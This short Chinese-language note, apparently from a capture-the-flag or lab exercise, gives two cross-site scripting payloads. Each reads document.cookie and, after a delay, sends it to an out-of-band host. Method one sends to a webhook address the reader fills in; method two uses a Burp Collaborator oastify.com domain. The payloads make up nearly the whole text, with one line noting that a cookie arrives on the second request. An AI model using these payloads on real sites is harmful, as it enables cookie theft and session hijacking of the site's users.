方法一：webhook

<script> setTimeout(() => { const img = new Image(); img.src = '这里输入你的外带平地址?cookie=' + encodeURIComponent(document.cookie); }, 3000); </script>

第一条HTTP的cookie是空的，第二条就会有cookie信息，因为服务器是每30秒注入一次

方法二：burp的collaborator模板

<script> setTimeout(() => { const img = new Image(); img.src = 'https://irdlexk0lpricyqb32zl2h1bsc83eu2lx9m.oastify.com?cookie=' + encodeURIComponent(document.cookie); }, 3000); </script>